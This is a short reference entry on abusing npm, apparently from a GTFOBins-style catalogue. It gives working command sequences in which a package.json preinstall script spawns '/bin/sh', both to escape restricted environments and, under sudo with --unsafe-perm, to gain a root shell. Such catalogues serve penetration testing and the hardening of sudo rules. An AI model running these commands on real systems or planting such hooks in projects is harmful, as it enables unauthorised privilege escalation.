Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
npm -C $TF i

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i